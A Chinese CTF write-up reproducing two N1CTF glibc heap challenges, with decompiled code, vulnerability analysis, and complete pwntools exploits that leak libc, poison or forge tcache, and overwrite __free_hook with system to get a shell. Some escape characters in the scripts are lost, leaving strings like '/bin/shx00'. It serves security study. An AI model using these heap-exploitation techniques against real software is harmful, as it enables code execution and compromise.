N1CTF当时没有去打(老懒狗了),是赛后进行的复现,借鉴了官方的wp,在本地对两道glibc环境下的pwn题进行了复现
signin
本地是在2.27的环境下进行的复现
在这之前,先介绍一下vector
Vector
vector 是C++ stl的一个容器,实现的功能是动态数组。
值得关注的是vector的内存分配规则
但vector的内存容量不够时,会申请一块新的内存(大小是原内存的2倍),然后把数据复制过去,再free掉原来的内存
- vector的内存只会增加,不会减少
- clear()会清空元素,但是不会释放内存,vector占用的内存只会在程序结束后被释放
程序实现了vector的功能
有两个vector可供使用
vector_1和vector_2都是管理vector的结构体(struct_vector)
vector: begin_ptr vector+8:end_ptr vector+16:memory_end
add:end_ptr+8 and read_number
__int64 __fastcall new_0(__int64 a1, __int64 a2)
{
__int64 result; // rax
__int64 v3; // rax
if ( *(a1 + 8) == *(a1 + 16) ) // memory is full
{
v3 = get_end_ptr(a1); // v3 = *(a1 + 8)
result = realloc_vector(a1, v3, a2); //
}
else // memory is enough
{
vector_push(a1, *(a1 + 8), a2); // *(a1+8) = a2
result = a1;
*(a1 + 8) += 8LL; // end ptr += 8
}
return result;
}
delete:end_ptr-=8
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Index:");
std::istream::operator>>(&std::cin, &v1);
if ( v1 == 1 )
delete_0(&vector_1);
if ( v1 == 2 )
delete_0(&vector_2);
return __readfsqword(0x28u) ^ v2;
}
show:
打印end_ptr-8 地址上的内容
unsigned __int64 show()
{
_QWORD *v0; // rax
__int64 v1; // rax
_QWORD *v2; // rax
__int64 v3; // rax
int v5; // [rsp+4h] [rbp-Ch]
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Index:");
std::istream::operator>>(&std::cin, &v5);
if ( v5 == 1 )
{
v0 = show_0(&vector_1); // return *end_ptr-8
v1 = std::ostream::operator<<(&std::cout, *v0);
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
if ( v5 == 2 )
{
v2 = show_0(&vector_2);
v3 = std::ostream::operator<<(&std::cout, *v2);
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v6;
}
漏洞点
在delete的时候,没有对end_ptr进行检查
在进行delete的时候,end_ptr-=8,我们可以通过delete去控制end_ptr的内容
利用思路
根据vector的扩容规则,在扩容时会申请一个大小为原来2倍的内存,并把原来的内存free掉。
这样一来,即使我们没有free这个选项,可以通过不停的add去得到一个unsorted bin
(libc-2.27的环境下有tcache机制,可能需要add的次数会多一些)
然后控制end_ptr指向unsorted bin的FD/BK,再用show去leak libc
此时继续free,控制end_ptr指向tcatche的fd,劫持tctache的FD,实现任意地址写,直接打free_hook(one_gadget要用realloc抬栈)
Expliot
from pwn import *
p = process('./signin')
#context.log_level = "debug"
elf = ELF('./signin')
libc = elf.libc
def menu(idx):
p.sendlineafter(">>",str(idx))
def add(idx,num):
menu(1)
p.sendlineafter("Index:",str(idx))
p.sendlineafter("Number:",str(num))
def free(idx):
menu(2)
p.sendlineafter("Index:",str(idx))
def show(idx):
menu(3)
p.sendlineafter("Index:",str(idx))
for i in range(260):
add(1,1)
for i in range(516):
free(1)
show(1)
gdb.attach(p)
libc_base = int(p.recvuntil('
')[:-1])-96-0x10-libc.sym['__malloc_hook']
log.success('libc_base:'+hex(libc_base))
free_hook = libc.sym['__free_hook']+libc_base
malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base+libc.sym['system']
one_gadget = libc_base + 0x10a45c
for i in range(270):
free(1)
add(1,free_hook-8)
#gdb.attach(p)
add(2,u64('/bin/shx00'))
add(2,system)
#gdb.attach(p)
p.interactive()
easywrite
调试环境 ==> libc-2.31.so
这个题目将符号表删除了,需要用gdb进行恢复(第一次恢复符号表)
在IDA中查看.got
.got:0000000000003F80 qword_3F80 dq 0 ; DATA XREF: sub_1020↑r
.got:0000000000003F88 qword_3F88 dq 0 ; DATA XREF: sub_1020+6↑r
.got:0000000000003F90 off_3F90 dq offset sub_1030 ; DATA XREF: sub_10D0+4↑r
.got:0000000000003F98 off_3F98 dq offset sub_1040 ; DATA XREF: sub_10E0+4↑r
.got:0000000000003FA0 off_3FA0 dq offset sub_1050 ; DATA XREF: sub_10F0+4↑r
.got:0000000000003FA8 off_3FA8 dq offset sub_1060 ; DATA XREF: sub_1100+4↑r
.got:0000000000003FB0 off_3FB0 dq offset sub_1070 ; DATA XREF: sub_1110+4↑r
.got:0000000000003FB8 off_3FB8 dq offset sub_1080 ; DATA XREF: sub_1120+4↑r
.got:0000000000003FC0 off_3FC0 dq offset sub_1090 ; DATA XREF: sub_1130+4↑r
.got:0000000000003FC8 off_3FC8 dq offset sub_10A0 ; DATA XREF: sub_1140+4↑r
在gdb中查看got表,里面储存了函数的真实地址,一个个去看是什么函数就行了
恢复符号表之后查看IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbp
__int64 v4; // rdx
__int64 v5; // rdx
_QWORD *address; // [rsp-28h] [rbp-28h]
void *message; // [rsp-20h] [rbp-20h]
void *message2; // [rsp-18h] [rbp-18h]
unsigned __int64 v10; // [rsp-10h] [rbp-10h]
__int64 v11; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v11 = v3;
v10 = __readfsqword(0x28u);
setbuf_0(stdout, 0LL, envp);
setbuf_0(stdin, 0LL, v4);
setbuf_0(stderr, 0LL, v5);
alarm_2(0x3Cu);
sleep_2(2u);
printf_0("Here is your gift:%p
", &setbuf); // leak libc
message = malloc_2(768uLL);
write_0(1, "Input your message:", 19uLL);
read_0(0, message, 767uLL);
write_0(1, "Where to write?:", 16uLL);
read_0(0, &address, 8uLL);
*address = message;
message2 = malloc_2(0x30uLL);
write_0(1, "Any last message?:", 18uLL);
read_0(0, message2, 47uLL); // read 47 bytes
free_1(message2);
return 0;
}
程序的逻辑大概是能自由编辑一个0x300的堆块
然后把这个堆块的地址写到任意地址上
然后就是申请一个0x30的堆块,然后free掉
利用思路
一开始泄露了libc_base
这个堆块的大小与tcache的大小相似,可以考虑伪造tcache(学到了新姿势)
于是在message这个chunk上布置我们的信息
在counts数组上将调用数记为1,在tcache bins 的链表上布置任意写的地址
于是我们的message可以这样构造
message = 'x00'*4+'x01'
message = message.ljust(144,'x00')
message += p64(libc_base + free_hook-0x10)
最后就是找到一个储存tcache地址的指针,将其覆盖为我们的fake_tcache
gef➤ grep 0x5583411ea010# 0x5583411ea010 为tcache结构体的地址
[+] Searching 'x10xa0x1ex41x83x55' in memory
[+] In (0x7f7088877000-0x7f708887d000), permission=rw- #可读可写
0x7f708887c530 - 0x7f708887c548 → "x10xa0x1ex41x83x55[...]"
确定地址在0x7f708887c530处,减去libc_base得到偏移 在本机的环境上偏移为0x1f3530
然后message2打free_hook,getshell
Expliot
from pwn import *
elf = ELF('./easywrite')
libc =elf.libc
p = process('./easywrite')
p.recvuntil("Here is your gift:")
libc_base = int(p.recvuntil('
')[:-1], 16) - libc.sym["setbuf"]
log.info('libc:'+hex(libc_base))
ptr = libc_base + 0x1f3530
message = 'x00'*4+'x01'
message = message.ljust(0x12*8,'x00')
message += p64(libc_base + libc.sym["__free_hook"] - 0x8)
p.recvuntil('Input your message:')
p.sendline(message)
p.recvuntil('Where to write?:')
p.send(p64(ptr))
p.recvuntil('message?')
p.sendline('/bin/shx00'+p64(libc_base + libc.sym['system']))
p.interactive()